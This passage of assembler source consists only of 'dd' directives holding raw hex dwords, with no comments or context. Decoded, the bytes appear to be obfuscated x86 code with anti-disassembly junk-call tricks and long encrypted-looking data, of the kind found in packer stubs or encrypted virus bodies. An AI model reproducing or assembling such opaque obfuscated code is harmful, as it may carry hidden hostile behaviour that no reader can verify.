		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0EC8578B5h, 70858B05h
		dd 8305EC85h, 0EC8574BDh, 840F0005h, 7,	2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 78858908h, 8D05EC85h, 0EC85FFB5h
		dd 35858D05h, 0FF005B7Eh, 8B5A61D0h, 0EC857885h, 4C205h
		dd 8578858Bh, 8B05ECh, 85788589h, 0CF05ECh, 60000000h
		dd 85D5B589h, 858905ECh, 5EC85D1h, 13E5858Dh, 408B05E7h
		dd 0E858944h, 8D05EC86h, 0EC8644B5h, 35858D05h,	0FF005B7Eh
		dd 858B61D0h, 5EC85D5h,	0D19D8BC3h, 0F05EC85h, 33C43B7h
		dd 785B8BD8h, 85D19D03h, 738B05ECh, 0D1B50324h,	5605EC85h
		dd 8B207B8Bh, 0BD031C73h, 5EC85D1h, 85D1B503h, 83FC05ECh
		dd 8B41FFC9h, 0EC85D59Dh, 3178B05h, 0EC85D195h,	4C78305h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0EC85D185h, 0D5858905h, 8B05EC85h,	8BCE8BF0h
		dd 0EBD81C1h, 5EC86h, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 5EC860Eh
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 0EBD8100h
		dd 5EC86h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 5EC860Eh, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 7C858DCFh
		dd 8905EC85h, 0E715D585h, 12858D05h, 8905EC86h,	0E71F8585h
		dd 0D9858D05h, 8905EC85h, 0E721C585h, 758D8D05h, 6A05EC88h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0DE60C357h, 80F28166h, 158D8953h,	8905E723h
		dd 0E72491BDh, 0B985C705h, 4805E708h, 6A00005Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0D9E3C352h, 0F07F8777h, 47532EB8h, 9985C704h, 5E70Ch
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0C039C352h, 592E337Fh,	7DB5FF9Ah
		dd 6A05E701h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 3AA4C356h, 2B9CCBC8h, 0BD8BD256h
		dd 5E72CA9h, 32CD95FFh,	6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0BB87C3C3h, 84DD881h
		dd 6AF93C99h, 1D95FF00h, 8B05E71Ah, 443BEBC0h, 23F7845h
		dd 253057F7h, 7326D940h, 29B5339Ch, 0C70A4B45h,	0F46FB5A1h
		dd 0FAC8C389h, 0B7BD14FAh, 0B11B5F73h, 0DCA7FA7Fh, 0F30A0FCEh
		dd 0C62914F6h, 47BAC7CDh, 128D62A3h, 0C08B20C6h, 0BD83DD8Ah
		dd 5E70D79h, 83097500h,	0E71C15BDh, 19740005h, 0C08B5350h
		dd 3FCB8h, 0D5858900h, 8D05E713h, 0E9AA349Dh, 5BD3FF05h
		dd 15BD8358h, 5E71Ch, 53501774h, 3FCB8h, 0D5858900h, 8D05E713h
		dd 0E9A7239Dh, 5BD3FF05h, 0CB8B6058h, 0EE8h, 18BD6700h
		dd 0A36B90E0h, 8653FC66h, 0F80B003Fh, 6A6158h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0CFCB09C3h, 0A9A5A197h, 6E9h, 5626B00h, 6687E1EEh, 8BE8B4BBh
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 4877047Ah, 0CA72ACFh, 12E9h, 87923700h
		dd 0FF9A6890h, 0D134913Ah, 81E7A637h, 83AD8661h, 0E707F1BDh
		dd 840F0105h, 83h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 9EC35242h, 0F4D8508h,	1D83h, 11E800h
		dd 0F39F0000h, 38A10075h, 4645F240h, 5E263AA2h,	0F98B664h
		dd 83h,	0BD835A00h, 5E72A35h, 34850F00h, 0F000000h, 38Ch
		dd 0DAEA8000h, 3301BD83h, 0F0005E7h, 8D84h, 18800F00h
		dd 0E9000000h, 13h, 3784C0F8h, 7973563h, 0B9ABFF91h, 0AE06DE5Ah
		dd 0E9B10A45h, 3D7h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0BFC35646h, 6C017A9Eh, 8AE17BECh, 0DFBF0Fh
		dd 0F000000h, 28Eh, 6ADF8B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 5095C355h, 7789906Eh
		dd 932ECDB7h, 7E8h, 89C88800h, 61E515Fh, 0BF2A54BAh, 477A5B09h
		dd 0F7174D39h, 0F2F84CCCh, 2B45C7C3h, 7F036FBCh, 18F7C646h
		dd 0F21546C6h, 0DA79C52h, 0A0F7AD13h, 0F2FBC42Bh, 31A7E7C3h
		dd 0D6AA4E99h, 0D63B46C7h, 0F2BFDAC7h, 318D85C3h, 0EA003571h
		dd 0BF819F41h, 7A6E05h,	0C8A75FFBh, 1B2F4CA5h, 0F27FC3BDh
		dd 1AEFC7A9h, 0F2DFC7C0h, 0AA2C9FE3h, 0F6D3834Ah, 0F6DF8342h
		dd 0F2FDC7D4h, 0AF3D9783h, 0A75B6A3Ah, 0F2BFC72Bh, 1F5E9AC3h
		dd 0F7034CC3h, 1AA2C7A9h, 0F2FBC7C0h, 0AF3E9AE3h, 0F6DAAB4Ah
		dd 0F65B8342h, 0F2BFC7D8h, 901C9286h, 0CA62C772h, 4961AE1Fh
		dd 0CC3458C6h, 62050748h, 0DEACAD79h, 941F97A3h, 62DE3C48h
		dd 1A8CC7A9h, 0F2EFC7C0h, 0A9349CE3h, 0F6DF9B4Ah, 0F6D98342h
		dd 0F2FEC7D4h, 2DBC9480h, 790349F0h, 0BEDEC810h, 0F28539E7h
		dd 0F2F42F91h, 0A8DBC7C3h, 0A6749D00h, 0B67FC3E7h, 0F264C3E7h
		dd 0A0FDC7C3h, 70ED4200h, 89A0DAB9h, 0F2E72FF9h, 65D0C7C3h
		dd 0A33F056Eh, 0A3047EC8h, 8F2F9D10h, 7CB010A1h, 0F2DFC7D7h
		dd 0F2EFC92Bh, 0C40ACDC3h, 3BA892B3h, 8A6E209Bh, 0A914CF8Eh
		dd 48199F99h, 0FEBA2F17h, 0FDDFC7C1h, 0F2EFC54Fh, 79294DC3h
		dd 0A4FBADCBh, 0F2FDC42Bh, 31A0E7C3h, 0D60B4E9Dh, 0D6FB46C7h
		dd 0F2DFD1C7h, 31B981C3h, 0A18BE2D7h, 860946A5h, 799B9D9Eh
		dd 4DF13B8Bh, 0F27E7F11h, 5908C7C3h, 0FD8D9752h, 0F2E02EF2h
		dd 0CBEBC7C3h, 0D4EA5947h, 0BC132F78h, 77AD96B9h, 0A2279D65h
		dd 922E1D49h, 792C70CCh, 7E89A63Bh, 0FD2E4C1Ah,	330D1F74h
		dd 0EC78C8C7h, 98FEC7C2h, 0F19792C3h, 0D2BFC7C3h, 7B82049Eh
		dd 73EBE3AFh, 0EEF3E387h, 0B7FBC7C3h, 180496h, 793DD5BBh
		dd 940CBDA3h, 98E61F48h, 0F13791C3h, 0D2EFC7C3h, 7BA9049Dh
		dd 73FFE3B7h, 0EAF9E387h, 0B4FEC7C3h, 5A800495h, 725426A9h
		dd 77D0AFFAh, 0F2EFC6F8h, 1AA7C7A9h, 0F2FBC7C0h, 0AA3E9FE3h
		dd 0F6DA834Ah, 0F65B8342h, 0F2BFC7DFh, 4A1C9783h, 0B46299Eh
		dd 1B0A08D2h, 0E612A7A3h, 9FDC7C3h, 99F779DBh, 3DE1FD69h
		dd 5FFFFE63h, 0E188D746h, 92918819h, 0A942A6A2h, 0F3824CA2h
		dd 30157CA5h, 0F2FE3842h, 707047C3h, 0F2BFC720h, 0F2D12EA3h
		dd 0B125C7C3h, 0B144B391h, 7701146h, 4CEF923Ah,	933D78CCh
		dd 78394204h, 0F2BEC22Fh, 0F2B5C7C3h, 0F2EC2F95h, 0ACD7C7C3h
		dd 86729900h, 0B67CC3E7h, 0F2E8C3E7h, 0A439C7C3h, 265C1500h
		dd 0F2DF152Ah, 0A17A7C3h, 0F2622EA2h, 0F291C7C3h, 0F2FE2F93h
		dd 0AADEC7C3h, 0B6F69F00h, 0B63EC3E7h, 0F2C2C3E7h, 0A2AFC7C3h
		dd 0D4C6C00h, 9B1A3F96h, 40116F22h, 0F2949E4Dh,	0F27C2F90h
		dd 0A99FC7C3h, 0AE569C00h, 0B66EC3E7h, 0F2EBC3E7h, 0A1B8C7C3h
		dd 0EC6D8A00h, 0AF838AF4h, 1B1F6002h, 0F2BFC7CCh, 4843EB3Ah
		dd 0FF26098Dh, 0B0F787F5h, 72ED1F8Ah, 949C7421h, 0DF5BE40h
		dd 0F25A43CCh, 0E256C7C3h, 14DFC7C3h, 0EDBA6319h, 96CD5F96h
		dd 1F46A11h, 941D4DA6h,	0E12C1D42h, 78394204h, 0F2BEC22Fh
		dd 0BA26C7C3h, 1ABCC7A9h, 0F2F7C7C0h, 0A9389CE3h, 0F6D99B4Ah
		dd 0F6DA8342h
		dd 0F27FC7DEh, 9A7C9480h, 4F6A98CEh, 5896C4EDh,	387694B3h
		dd 0CA486EA6h, 2A4AC898h, 4B2D78CCh, 0AEBB1A87h, 7D17424Eh
		dd 4F52C22Fh, 0F70349D1h, 0F5833FF8h, 3B2AC8F3h, 1B082C84h
		dd 0F2FEC7CCh, 0BCD8CB0Ch, 3E0BDA32h, 7614178Ch, 0FDC71113h
		dd 0F2F7CF4Eh, 0F072C8C3h, 78FDC7C3h, 3434439h,	0F37A20C4h
		dd 0F2F843CCh, 2C5FC7C3h, 0C7524497h, 0F2F220E9h, 0F2CC42CCh
		dd 0A0AEC7C3h, 0A9A53F49h, 0C17E7A40h, 0FDBFC224h, 0F2DF9647h
		dd 0A2EFADC3h, 0F2F7C42Bh, 31A3E7C3h, 0D6B94E9Bh, 0D6BA46C7h
		dd 0F27FDCC7h, 31EF87C3h, 0A1EEE1F4h, 0B9921C26h, 0F23B2E3Bh
		dd 0F291C7C3h, 0F2FE2F93h, 0AADEC7C3h, 0B6F69F00h, 0B63EC3E7h
		dd 0F2C4C3E7h, 0A2AFC7C3h, 1D88CB00h, 760B7A8Ch, 217CA1A4h
		dd 4F7DACCDh, 0F798C032h, 803AC8C2h, 98DFC7C3h,	0F10791C3h
		dd 0D2F7C7C3h, 7BA5049Dh, 73F9E3B7h, 0E7FAE387h, 0B47FC7C3h
		dd 0B0160495h, 0A2DFAD9Eh, 0F2EFC42Bh, 31AFE7C3h, 0D6BF4E9Bh
		dd 0D6B946C7h, 0F2FED1C7h, 312F87C3h, 31F435D5h, 0F2DFD62Bh
		dd 0D09FAAC3h, 73783326h, 1C4A8FBAh, 6A753516h,	0FB168A34h
		dd 0B87FC7C3h, 0B80DC0E1h, 0B17E0A93h, 222D46A5h, 1BAD9CB3h
		dd 0F2FBC7E9h, 691646A5h, 26749A24h, 0A77FAD0Ch, 0F2BFC42Bh
		dd 3182E7C3h, 0D6834E9Eh, 0D6B346C7h, 0F2FBDEC7h, 31A882C3h
		dd 3BA8427h, 4FF2DA78h,	0F7534D4Ah, 7DAA4A4Eh, 0EF57C22Fh
		dd 0C18CFD9Fh, 15EECA46h, 3332ECC6h, 874BC52Ah,	4EAEBB1Ah
		dd 2F7D1742h, 0D14F52C2h, 0F8F70349h, 0F3F5833Fh, 0E9832AC8h
		dd 83A4F305h, 0EC8A46BDh, 0D740005h, 4DFA8D8Dh,	1B805E7h
		dd 0FF000000h, 6A40E1h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0CD0A29C3h, 6ADE8B66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 3D20C357h, 0BD12099h, 0EBB6C939h, 0F52DE883h, 0B70FC08Bh
		dd 79BD83DEh, 5E70Dh, 0BD830975h, 5E71C15h, 50197400h
		dd 0B8C08B53h, 3FCh, 0F2D8589h,	9D8D05E7h, 5E9AA9Bh, 585BD3FFh
		dd 1C15BD83h, 740005E7h, 0B8535017h, 3FCh, 0F2D8589h, 9D8D05E7h
		dd 5E9A73Ch, 585BD3FFh,	1EB86660h, 0E4E08127h, 616166FDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 37C35141h
		dd 0C08BD335h, 2DEBh, 0DD00000h, 319CBFAEh, 0ADF9DFF2h
		dd 8C88A7A5h, 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 68009D89h
		dd 14672681h, 0B203B2BDh, 0E9701C1Fh, 0A28h, 0EC91AD68h
		dd 0ECC9E905h, 0C268FFFAh, 0E905EC92h, 0FFFAECBFh, 0EC93D868h
		dd 0ECB5E905h, 9668FFFAh, 0E905EC94h, 0FFFAECABh, 0EC952768h
		dd 0ECA1E905h, 0FB68FFFAh, 0E905EC95h, 0FFFAEC97h, 0EC969868h
		dd 0EC8DE905h, 7068FFFAh, 0E905EC98h, 0FFFAEC83h, 0EC998268h
		dd 0EC79E905h, 61AFFFFAh, 7EACFB55h, 7EABF058h,	62A5F25Eh
		dd 79A18E42h, 8F268F41h, 61EFEFDBh, 61EFEFDAh, 7FD1F1DAh
		dd 7AD6F8D0h, 36BA1FB7h, 0CDC69972h, 0D35E8DEh,	75E2C0A8h
		dd 0B3F2C3C3h, 953DE00Ch, 62732A00h, 0D6F8C9C9h, 0D17F5F49h
		dd 0B005424Ah, 0C69973C8h, 423683CBh, 41C69973h, 88D62770h
		dd 0AB1501EFh, 2E6A32B5h, 0CEEBE3CCh, 0CC8E678Dh, 93199EAh
		dd 0FBC7E726h, 67BB838Ch, 9BF63506h, 0F3A3ADB1h, 1C5F7FACh
		dd 9F371731h, 0F7C29BB0h, 0C8AD4701h, 9AE03102h, 710E70B3h
		dd 0E5309A7Bh, 0C2845AF0h, 52F7A4F5h, 1A760FB4h, 8789D3Eh
		dd 0B1FF0000h, 0AEFC4B85h, 0CEFB4088h, 0D2F5428Eh, 0C9F15EF2h
		dd 3F765FF1h, 311F3F6Bh, 311F3F6Ah, 0CF01216Ah,	0CA062860h
		dd 66CAEFE7h, 7DC69973h, 7A52580Eh, 0EF390654h,	0E55D01CFh
		dd 7BD42069h, 0D7EAC911h, 0CD527419h, 40288DC4h, 43C3756Bh
		dd 88C22172h, 5C79D02Dh, 0A6F4C5C9h, 927561D3h,	527417C6h
		dd 0F1F3D64Eh, 0B92F0761h, 0D8B8FCFAh, 0D7E7D31Eh, 3C2F94h
		dd 2BB0000h, 0B2FD26EEh, 0CDEF8AAEh, 349930A4h,	7E4F986Bh
		dd 0D7E84154h, 0B485C95Ch, 0A7219366h, 0B457C692h, 49960E12h
		dd 0F84761F2h, 57AFF3D3h, 47116044h, 674697FBh,	0AA9Eh
		dd 7A522800h, 0F1390654h, 828AF5C9h, 754969A2h,	88F7CB14h
		dd 0B14BE80h, 70FC3F1Fh, 75E6D0A1h, 654943C3h, 6A4C5CEBh
		dd 0AAE34C14h, 892CB48Ah, 0C375E627h, 0A382D33Ch, 85CDD01Ch
		dd 5CF21F30h, 854B94C9h, 4B0302EEh, 0B894AA6Eh,	567849CCh
		dd 57F9C1C9h, 3F8DEC8h,	7020B428h, 630B50E8h, 90000007h
		dd 91BE92A4h, 0ECBB95B5h, 0EEB59BA3h, 0EAB19FBFh, 63B29EBCh
		dd 24121C54h, 24101F24h, 2E0E1F24h, 13331522h, 0FFDA8C3Dh
		dd 0C6997009h, 35AF1B0Ah, 0C11D3D6Ah, 78A68DE8h, 67A18E42h
		dd 196A5259h, 0EB200F37h, 2FEE8CBh, 98A72FEEh, 5B46A9ADh
		dd 6F4A0063h, 0C95CFE8Eh, 624444ABh, 8C68CD11h,	19C692FEh
		dd 0E5D22810h, 0A09483BDh, 0DC22735Ah, 0F25E7813h, 45A4FAD8h
		dd 9535D674h, 0F272158Fh, 0CD3761h, 52B30000h, 3906547Ah
		dd 0EDF5C9F1h, 1B675742h, 0AD16F332h, 34C375E6h, 0D0983214h
		dd 75E673C5h, 0C42770C3h, 0DBE92308h, 0BE9CEDF1h, 66B3CB21h
		dd 0C375E692h, 20694091h, 3287CF18h, 0C95CF219h, 350D4596h
		dd 0BD415AFCh, 0CCE9E168h, 0C6925764h, 1CF2E7Fh, 0CF87866Ah
		dd 0F67A5F07h, 8DC69257h, 319841BCh, 32CCB83Ch,	5846E9E1h
		dd 15A06862h, 0C8A4BEA3h, 0D81457A0h, 211F0B14h, 0A6F4C5E5h
		dd 1096447h, 4DF34439h,	97B37021h, 64DC4h, 0B89E8A00h
		dd 0A3838B90h, 0A19986ADh, 0A58980AFh, 0A4929CABh, 366A19A4h
		dd 311E3208h, 311E320Ah, 0F143414h, 9217391Dh, 7113E530h
		dd 0E510C699h, 566452B5h, 5B7BADFAh, 3966C9F5h,	52B42201h
		dd 5E06547Ah, 280CFBE6h, 0A281DACBh, 27675D4Fh,	871A3607h
		dd 0C375CE3Dh, 13560CFh, 52519F22h, 26075B7Bh, 0E035FDD5h
		dd 0C375CE18h, 0E3EBCA1Bh, 625FE6D6h, 3AACFDC9h, 3D133315h
		dd 846C4971h, 9FC6995Fh, 8006F4Eh, 0C088D826h, 995F03F5h
		dd 0F43700C6h, 686223C9h, 0B1B4784Dh, 84AC84CCh, 8B713BA5h
		dd 75A709ACh, 53BCC8A6h, 1F522302h, 25DA2B13h, 7023891Eh
		dd 8FCD8EAAh, 0C4000005h, 0C552FED8h, 0C06FE1C1h, 0C269E7D7h
		dd 0DE65EBCBh, 5F66EAD0h, 70467028h, 704473D8h,	7A5A73D8h
		dd 7F5F49D6h, 23F6D0D1h, 0C699765Dh, 52732756h,	3906547Ah
		dd 0DFF3CFEFh, 0CEDE6A6Ch, 0F16360E8h, 0D367D98Eh, 7, 1513E97h
		dd 0D8680000h, 0C375E25Ch, 7CAC5399h, 0D425045Ah, 73DE27F2h
		dd 8ADBC962h, 92D7FC0h,	75078C7h, 3B673DC5h, 94EE3F03h
		dd 0B5868C40h, 0E3A24E69h, 8BF9CEEBh, 0ADFECCB1h, 239B73F0h
		dd 0FCDF7B70h, 4FEh, 0C10F4F75h, 0DE72507Ah, 0D8704871h
		dd 0D4745873h, 0D57B434Fh, 0B9E1B9C8h, 0B5E04F81h, 0ABE04F81h
		dd 0AEFE458Bh, 61614088h, 9977EC54h, 0C2B4E7C6h, 6547A52h
		dd 0F3CFEF39h, 0B96A6CDFh, 4B97B796h, 0FC2C0362h, 0FF9176DAh
		dd 0CD67D98Eh, 7, 0B93E99h, 2680000h, 2B4526EEh, 71CDB306h
		dd 0F5C6C375h, 1CFD98ADh, 0D83E9B33h, 0DFC962F9h, 517BC48Eh
		dd 5474C30Dh, 5D932C72h, 0CA8316B8h, 5ECC8F68h,	822B59E6h
		dd 0FD3854FEh, 0EF973F08h, 176B4B40h, 0B098F736h, 0B395A2AEh
		dd 34143B93h, 36F4CC12h, 123E815Bh, 704EADFEh, 0AB1DB860h
		dd 0A8C8ACAEh, 0CABD075Fh, 0D3605968h, 1EFFED90h, 0A47C61B4h
		dd 2879C285h, 10690073h, 1348E076h, 42Ah, 0F55B63A9h, 0F25E7CAEh
		dd 8C5C7CA5h, 884064A7h, 894777A3h, 0EDD58D24h,	0E9D463EDh
		dd 0F7D463EDh, 0FAD279D7h, 1DB574D4h, 997730B8h, 96C033C6h
		dd 1D3D6A35h, 1219FDEh,	2CB0000h, 310931EEh, 66AD9CEDh
		dd 684D0556h, 0C9627312h, 0A18EC011h, 68505967h, 0DCFC2512h
		dd 1028A2F3h, 9E899D45h, 310960BEh, 3570B12Ch, 1638103Fh
		dd 97A793BCh, 9F4D6A54h, 88C1D4FEh, 0E5CC8E12h,	3B6D3294h
		dd 3E6E351Bh, 47A5C218h, 24A90C46h, 0A1C2840Dh,	0C2AB50h
		dd 16327610h, 38D45h, 0F8DECA00h, 0E3C3CB50h, 0E1D9C66Dh
		dd 0E5C9C06Fh, 0E4D2DC6Bh, 762A5964h, 71DE7248h, 71DE724Ah
		dd 4FD47454h, 0D2D7795Dh, 745325F0h, 2550C699h,	3F6A3575h
		dd 0D7F1DC1Fh, 4C5CABF7h, 0FC2B146Ah, 90B582D8h, 75B63AEh
		dd 0A989D526h, 0EE906115h, 6661C8FDh, 0E7D7C060h, 5561B29Bh
		dd 1827E0E6h, 34040D33h, 68B687E6h, 0D5290D1Fh,	6548ABF4h
		dd 0E95F7A23h, 74C37516h, 57A07155h, 4BC5CA06h,	7967D89Ah
		dd 37h,	2FEE024Dh, 30A412A7h, 4293C95Dh, 0DCFA2708h, 0B495E9CDh
		dd 6FD4E56Bh, 0FAC692ACh, 71F185D2h, 4C15A2DCh,	5946ED63h
		dd 0D7BE1D61h, 0F4000002h, 15D61ABh, 529DCD28h,	7C584779h
		dd 0D4F4D11Eh, 1B56A786h, 0FCC21333h, 9BB599B3h, 0F6C39C8Ch
		dd 0C375E202h, 9BE73001h, 0F65A7CACh, 0B812F3F9h, 5CF0201Dh
		dd 0F6C415C9h, 336A56EEh, 7FD1D7FDh, 40D95B3Ch,	424CC692h
		dd 0D1D92674h, 7AE195E9h, 0AF7CD25Ch, 0E8AF212Bh, 0C36C61F1h
		dd 328BEACAh, 41h, 2FEE02B4h, 0FEB912A7h, 65B6C95Ch, 0FED0A419h
		dd 0E5A6C692h, 5D7820E5h, 0C692FEEBh, 0C95C9FE8h, 61F27257h
		dd 0CD75h, 0FDA56D00h, 92CA50D8h, 0A50253C6h, 0C692CAD3h
		dd 247A404Eh, 0C82B74C5h, 547A529Eh, 0D7F13906h, 0BF88D6F6h
		dd 19704E6Eh, 33A3FFC8h, 0D81B236Ch, 0AFF3D3F5h, 0EA664840h
		dd 75E66ED7h, 0F3D3F5C3h, 0EED6F65Dh, 6E4C9DBDh, 0F8A7CE66h
		dd 421514ACh, 8D905C63h, 7321DC5h, 9213F437h, 5FC95CBDh
		dd 0C725C20Eh, 7BC48CC6h, 0DA330F4Fh, 0D6E33E9Bh, 6129CCB8h
		dd 0A4E4EC54h, 5796E7C8h, 0BE9E8BE6h, 0ECDA656Dh, 0EDD562EEh
		dd 0F85130EDh, 41997020h, 1B51Ah, 0C0F62200h, 0CBEB2308h
		dd 0C9F13E05h, 0CD113807h, 0CC0A3403h, 0AE02B11Ch, 0A9F65A60h
		dd 0A9F65A62h, 0A78C5C7Ch, 3A8F4165h, 7ABB0DA8h, 4DB8C699h
		dd 5664521Dh, 5B7BADFAh, 0EE02D5F5h, 0E1320A31h, 625846E9h
		dd 0B0AB1318h, 49A4C112h, 0B5D7A80Dh, 83ECC95Ch, 857AFABFh
		dd 5F0CC692h, 27BF513Bh, 0D37C61F2h, 0A38AD0E4h, 2975414Ch
		dd 0D918E5C0h, 0B6000000h, 91452B8Eh, 0D5EC692h, 0FBC7F722h
		dd 52075392h, 5E06547Ah, 1DF02AE6h, 0C5F061C6h,	6E45A0F1h
		dd 0E2566320h, 0E1C3759Bh, 6B7B4790h, 80E3DBC4h, 759F5E27h
		dd 9AC3C5C3h, 759F493Fh, 28794AC3h, 16C47C20h, 65224195h
		dd 0DA200604h, 6C43A2F3h, 9CC41A3Ch, 587FC1D4h,	2B74C375h
		dd 5F37B5C8h, 0E33BE922h, 507A4B67h, 5CA9CC45h,	0F058A9C9h
		dd 0BE10F5FBh, 0B8ED5D1Bh, 4D0556CCh, 0A96CA4F5h, 8A81BFC4h
		dd 0FA68B273h, 0E5F1CC0Fh, 0E26E6C5Ah, 0B06D6D55h, 702137DBh
		dd 0A3B42703h, 0D0000000h, 0D17ED2E4h, 2C7BD5F5h, 2E75DBE3h
		dd 2A71DFFFh, 0A372DEFCh, 64525C14h, 64505FE4h,	6E4E5FE4h
		dd 537355E2h, 3F9ACCFDh, 0C6997B49h, 526F5B4Ah,	0ADFA5664h
		dd 0D5F55B7Bh, 6547A52h, 1CFEF39h, 0CF87866Ah, 6273ACEAh
		dd 45AABC9h, 3CD113Bh, 0EC321434h, 8AF61509h, 0FD9DCC3Ch
		dd 47477DAFh, 0E1321B67h, 0E6C8C06Fh, 2F9124ECh, 24B8A8F4h
		dd 59A698DBh, 0DB646E4Eh, 0EB63DAF3h, 87D3C5C8h, 220168B6h
		dd 9733D8DCh, 1D331335h, 0EA301636h, 0DF1h, 6A353900h
		dd 0F4C31F3Fh, 41BC8DC9h, 6652AF63h, 0EB3D0A50h, 8388F7CBh
		dd 25105FA3h, 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh
		dd 18327D41h, 5002E43Ah, 405E089h, 83000000h, 48704E8h
		dd 24248B24h, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68242C89h
		dd 7499h, 68240C89h, 5EC90FDh, 83242C8Bh, 0EC8104C4h, 4
		dd 83242489h, 59042404h, 8904EC83h, 3481242Ch, 95548724h
		dd 8418F67h, 87087181h,	0FF679554h, 81592434h, 4C4h, 2434FF00h
		dd 4C4835Dh, 0FAE2BAE9h, 50EF7AFFh, 9D19D2F8h, 0D4FBFFDh
		dd 0B9618AECh, 0EC9A4AB8h, 0FFC50305h, 9E627FE0h, 7CF9AF7Dh
		dd 0C210F643h, 7BB3E839h, 1772830Bh, 4762802Fh,	9E47FE2Fh
		dd 996B1837h, 85EA6B68h, 0F871EB1Eh, 8BD8C214h,	15CE915h
		dd 1DBF0000h, 4983F1A7h, 5A9097BFh, 54AB0BADh, 54B052A6h
		dd 5AB70BA5h, 738D52AEh, 26873B85h, 27A752D7h, 7B3BC5F7h
		dd 0B4BC6143h, 16175290h, 17DF52E1h, 16FB52E1h,	16F952E1h
		dd 16FE52E1h, 167F52E1h, 169052E1h, 16DF52E1h, 16E752E1h
		dd 16F752E1h, 6FA852E1h, 7B982692h, 64AE72E1h, 651A318Eh
		dd 16BF0F92h, 16DF52E1h, 16EF52E1h, 16F752E1h, 16FB52E1h
		dd 16FD52E1h, 16FE52E1h, 167F52E1h, 16BF52E1h, 16DF52E1h
		dd 16EF52E1h, 16F752E1h, 16FB52E1h, 16FD52E1h, 16FE52E1h
		dd 167F52E1h, 16BF52E1h, 16DF52E1h, 16EF52E1h, 16F752E1h
		dd 16FB52E1h, 16FD52E1h, 16FE52E1h, 167F52E1h, 16BF52E1h
		dd 16DF52E1h, 16EF52E1h, 16F752E1h, 16FB52E1h, 16FD52E1h
		dd 16FE52E1h, 167F52E1h, 16BF52E1h, 16DF52E1h, 16EF52E1h
		dd 16F752E1h, 16FB52E1h, 16FD52E1h, 16FE52E1h, 167F52E1h
		dd 16BF52E1h, 16DF52E1h, 16EF52E1h, 16F752E1h, 16FB52E1h
		dd 16FD52E1h, 16FE52E1h, 167F52E1h, 16BF52E1h, 16DF52E1h
		dd 16EF52E1h, 16F752E1h, 16FB52E1h, 16FD52E1h, 16FE52E1h
		dd 167F52E1h, 16BF52E1h, 16DF52E1h, 16EF52E1h, 16F752E1h
		dd 16FB52E1h, 0ACF052E1h, 0F5E95CC0h, 68000016h, 5EC9E3Eh
		dd 0FBA8C6E9h, 9F2A68FFh, 0BCE905ECh, 68FFFBA8h, 5EC9FF2h
		dd 0FBA8B2E9h, 0A08868FFh, 0A8E905ECh, 68FFFBA8h, 5ECA205h
		dd 0FBA89EE9h, 0A37668FFh, 94E905ECh, 68FFFBA8h, 5ECA430h
		dd 0FBA88AE9h, 0A4D768FFh, 80E905ECh, 68FFFBA8h, 5ECA706h
		dd 0FBA876E9h, 0A7EC68FFh, 6CE905ECh, 68FFFBA8h, 5ECA89Eh
		dd 0FBA862E9h, 0A91768FFh, 58E905ECh, 68FFFBA8h, 5ECAAC5h
		dd 0FBA84EE9h, 0B0B268FFh, 44E905ECh, 68FFFBA8h, 5ECB1CBh
		dd 0FBA83AE9h, 75B2B7FFh, 0D6031868h, 8F64FBCDh, 63BC42A6h
		dd 0C5162E1Ah, 4D34E5F8h, 2F1962B7h, 0F5F3D819h, 5DABB075h
		dd 540E17C8h, 0EC205E77h, 78B351Ah, 7DB24B4Ah, 8F60E543h
		dd 20F614A6h, 4EA9C320h, 0D9F08467h, 0FDDA8406h, 0D5FE4DDAh
		dd 36DD4AEEh, 8865F94Fh, 788ADEA1h, 202705BFh, 674EA9C3h
		dd 0BBF1D2A2h, 0CB344CA5h, 4A05755Eh, 85613511h, 8471E075h
		dd 20167400h, 79000000h, 0B534FF1Dh, 0DD8CF118h, 0E7915836h
		dd 116CFC7Eh, 7E8C9835h, 9E68EBh, 0E21F74h, 0CE420000h
		dd 0F08861FAh, 0B74E9237h, 64F84E66h, 7048A62Fh, 48E330F6h
		dd 6CF15761h, 1A23F9B3h, 141662C5h, 0C95E99D3h,	75B2F7F8h
		dd 0A9FF30F6h, 0D9225A97h, 90E57840h, 0F674C73Bh, 3CF90930h
		dd 128BB84h
		dd 0EF714726h, 0CEB17A32h, 0F6746985h, 0BE6BC230h, 75AAB3B5h
		dd 0A1C683Bh, 183A74D5h, 0D47B50D3h, 9D36DD80h,	0E88EB50Fh
